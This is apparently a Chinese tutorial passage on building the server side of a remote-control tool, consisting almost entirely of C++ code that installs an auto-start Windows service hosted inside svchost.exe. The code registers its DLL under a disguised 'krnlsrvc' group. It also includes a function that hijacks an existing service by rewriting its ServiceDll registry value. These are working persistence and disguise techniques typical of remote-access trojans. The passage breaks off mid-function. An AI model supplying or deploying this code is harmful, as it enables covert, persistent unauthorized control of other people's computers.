Windows服务之前已经进行了讲解,如何在安装Windows服务呢,作为远程控制的服务端。
安装Windows服务代码如下
#include "stdafx.h"
//#include <windows.h>
#include "InstallService.h"
#include <winsvc.h>
BOOL StartService(LPCTSTR lpService)
{
SC_HANDLE schSCManager;
SC_HANDLE schService;
SERVICE_STATUS ServiceStatus;
DWORD dwErrorCode;
schSCManager=::OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);//打开服务控制管理器数据库
if (schSCManager!=NULL)
{
schService=::OpenService(schSCManager,lpService,SERVICE_ALL_ACCESS);//获得服务对象的句柄
if (schService!=NULL)
{
//设置服务为自动启动
ChangeServiceConfig(schService, SERVICE_NO_CHANGE, SERVICE_AUTO_START, SERVICE_NO_CHANGE,
NULL, NULL, NULL, NULL, NULL, NULL, NULL);
if(StartService(schService,0,NULL)==0)//已经存在该服务,就启动服务
{
dwErrorCode=GetLastError();
if(dwErrorCode==ERROR_SERVICE_ALREADY_RUNNING)
{
CloseServiceHandle(schSCManager);
CloseServiceHandle(schService);
return true;
}
}
while(QueryServiceStatus(schService,&ServiceStatus)!=0)
{
if(ServiceStatus.dwCurrentState==SERVICE_START_PENDING)
{
Sleep(100);
}
else
{
break;
}
}
CloseServiceHandle(schService);
}
CloseServiceHandle(schSCManager);
}
else
return FALSE;
return TRUE;
}
BOOL StopService(LPCTSTR lpService)
{
SC_HANDLE schSCManager;
SC_HANDLE schService;
SERVICE_STATUS RemoveServiceStatus;
schSCManager=::OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);//打开服务控制管理器数据库
if (schSCManager!=NULL)
{
schService=::OpenService(schSCManager,lpService,SERVICE_ALL_ACCESS);//获得服务对象的句柄
if (schService!=NULL)
{
//设置服务为禁用
ChangeServiceConfig(schService, SERVICE_NO_CHANGE, SERVICE_DISABLED, SERVICE_NO_CHANGE,
NULL, NULL, NULL, NULL, NULL, NULL, NULL);
if(QueryServiceStatus(schService,&RemoveServiceStatus)!=0)
{
if(RemoveServiceStatus.dwCurrentState!=SERVICE_STOPPED)//停止服务
{
if(ControlService(schService,SERVICE_CONTROL_STOP,&RemoveServiceStatus)!=0)
{
while(RemoveServiceStatus.dwCurrentState==SERVICE_STOP_PENDING)
{
Sleep(10);
QueryServiceStatus(schService,&RemoveServiceStatus);
}
}
}
}
CloseServiceHandle(schService);
}
::CloseServiceHandle(schSCManager);
}
else
return FALSE;
return TRUE;
}
BOOL ReplaceSvchostService(LPCTSTR lpService,LPCTSTR lpDllPath)
{
int rc = 0;
HKEY hKey = 0;
BOOL bRet = FALSE;
char szOpenKey[MAX_PATH];
try
{
//暂停服务
StopService(lpService);
//修改dll指向
ZeroMemory(szOpenKey,sizeof(szOpenKey));
wsprintf(szOpenKey, "SYSTEM\\CurrentControlSet\\Services\\%s\\Parameters", lpService);
rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, szOpenKey, 0, KEY_ALL_ACCESS, &hKey);
if(ERROR_SUCCESS != rc) throw "";
rc = RegSetValueEx(hKey, "ServiceDll", 0, REG_EXPAND_SZ, (unsigned char*)lpDllPath, strlen(lpDllPath)+1);
SetLastError(rc);
if(ERROR_SUCCESS != rc) throw "RegSetValueEx(ServiceDll)";
//运行服务
bRet = StartService(lpService);
}
catch(char *str)
{
if(str && str[0])
{
rc = GetLastError();
}
}
RegCloseKey(hKey);
return bRet;
}
BOOL InstallSvchostService(LPCSTR strServiceName,
LPCSTR strDisplayName,
LPCSTR strDescription,
LPCSTR strDllPath)
{
int rc = 0;
HKEY hKey = 0;
BOOL bRet = FALSE;
char szOpenKey[MAX_PATH];
try
{
bRet = InstallService(strServiceName,
strDisplayName,
strDescription,
"%SystemRoot%\\System32\\svchost.exe -k krnlsrvc"); //安装服务
//修改dll指向
ZeroMemory(szOpenKey,sizeof(szOpenKey));
wsprintf(szOpenKey, "SYSTEM\\CurrentControlSet\\Services\\%s\\Parameters", strServiceName);
//rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, szOpenKey, 0, KEY_ALL_ACCESS, &hKey);
rc = RegCreateKey(HKEY_LOCAL_MACHINE, szOpenKey,&hKey);
if(ERROR_SUCCESS != rc) throw "";
rc = RegSetValueEx(hKey, "ServiceDll", 0, REG_EXPAND_SZ, (unsigned char*)strDllPath, strlen(strDllPath)+1);
SetLastError(rc);
if(ERROR_SUCCESS != rc) throw "RegSetValueEx(ServiceDll)";
RegCloseKey(hKey);
//添加服务名到netsvcs组
ZeroMemory(szOpenKey,sizeof(szOpenKey));
strcpy(szOpenKey, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Svchost");
rc = RegOpenKeyEx(HKEY_LOCAL_MACHINE, szOpenKey, 0, KEY_ALL_ACCESS, &hKey);
if(ERROR_SUCCESS != rc) throw "RegOpenKeyEx(Svchost)";
rc = RegSetValueEx(hKey, "krnlsrvc", 0, REG_MULTI_SZ, (unsigned char*)strServiceName, strlen(strServiceName)+1);
SetLastError(rc);
if(ERROR_SUCCESS != rc) throw "RegSetValueEx(Svchost\\krnlsrvc)";
RegCloseKey(hKey);
bRet = StartService(strServiceName);
}
catch(char *str)
{
if(str && str[0])
{
rc = GetLastError();
}
}
RegCloseKey(hKey);
return bRet;
}
BOOL InstallService(LPCSTR strServiceName,
LPCSTR strDisplayName,
LPCSTR strDescription,
LPCSTR strPathName)
{
BOOL bRet = FALSE;
HKEY key=NULL;
SC_HANDLE svc=NULL, scm=NULL;
__try
{
scm = OpenSCManager(0, 0,SC_MANAGER_ALL_ACCESS);
if (!scm)
__leave;
svc = CreateService(
scm,
strServiceName,
strDisplayName,
SERVICE_ALL_ACCESS|SERVICE_INTERACTIVE_PROCESS,
SERVICE_WIN32_OWN_PROCESS,
SERVICE_AUTO_START,
SERVICE_ERROR_IGNORE,
strPathName,
NULL, NULL, NULL, NULL, NULL);
if (svc == NULL)
{
if (GetLastError() == ERROR_SERVICE_EXISTS)
{
svc = OpenService(scm,strServiceName,SERVICE_ALL_ACCESS);
if (svc==NULL)
__leave;
else
StartService(svc,0, 0);
}
}
char Desc[MAX_PATH];
wsprintf(Desc,"SYSTEM\\CurrentControlSet\\Services\\%s", strServiceName);
RegOpenKey(HKEY_LOCAL_MACHINE,Desc,&key);
RegSetValueEx(key,"Description",0,REG_SZ,(CONST BYTE*)strDescription,lstrlen(strDescription));
if (!StartService(svc,0, 0))
__leave;
bRet = TRUE;
}
__finally
{
if (key!=NULL)
RegCloseKey(key);
if (svc!=NULL)
CloseServiceHandle(svc);
if (scm!=NULL)
CloseServiceHandle(scm);
}
return bRet;
}
void UninstallService(LPCTSTR strServiceName)
{
SC_HANDLE scm,svc;
scm=::OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
if (scm!=NULL)
{
svc=::OpenService(scm, strServiceName, SERVICE_ALL_ACCESS);
if (svc!=NULL)
{
::DeleteService(svc);
::CloseServiceHandle(svc);
}